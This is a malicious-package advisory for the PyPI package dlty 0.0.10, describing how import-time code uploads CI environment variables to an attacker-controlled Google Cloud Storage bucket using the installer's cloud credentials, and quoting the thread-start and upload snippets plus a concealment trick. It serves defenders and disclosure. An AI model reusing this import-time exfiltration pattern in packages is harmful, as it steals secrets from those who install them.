pypi · Malicious package advisory
Malwaredlty
GHSA-6w7p-w945-jw6x
Malicious code in dlty (PyPI)
Details
**Severity:** Critical
**Affected versions:** `= 0.0.10`
## Source: amazon-inspector (494f5fbab24a26771e84ce06eea5303b7d1b9135b505a6d93a01c417603f1902)
Importing the `dlty` package triggers an active data-exfiltration channel from the installer to third-party-controlled infrastructure. `dlty/__init__.py` imports `dlty.dlt`, which defines a class `DataLeakTest` whose class body contains `threading.Thread(target=leak_data).start()` — meaning the thread runs at class-definition/import time, not on instantiation. The target function `leak_data` (dlty/dlt.py) first performs an HTTP GET to https://www.google.de as a connectivity probe, then reads the environment variables RUN, PIPELINE, STEP and uploads them with a timestamp as a blob to the hardcoded Google Cloud Storage bucket `data-leak-test` via `storage.Client().get_bucket('data-leak-test').blob(run).upload_from_string(...)`. This uses the installer's ambient GCP credentials (Application Default Credentials) to write installer-side environment variables (commonly CI/CD metadata) to author-controlled storage. Exceptions are swallowed with a reassuring print, and the exfiltration is placed in a class body rather than __init__ to make it less visible during casual review. Metadata fields are placeholders (Example Author, pypa/sampleproject URL), the README is a single line, and the package name does not advertise any of this behavior. This is a one-way installer→attacker exfiltration path and meets the criteria for an active supply-chain attack.
---
Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/49d0cfba3689ed9b195d101d3a2a964c6a77f767/osv/malicious/pypi/dlty/MAL-2026-3690.json))
**References:**
- https://github.com/ossf/malicious-packages/blob/49d0cfba3689ed9b195d101d3a2a964c6a77f767/osv/malicious/pypi/dlty/MAL-2026-3690.json
- https://pypi.org/project/dlty/0.0.10
- https://pypi.org/project/dlty/1.0.3
- https://github.com/advisories/GHSA-6w7p-w945-jw6xCompromised versions (1)
- = 0.0.10
Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.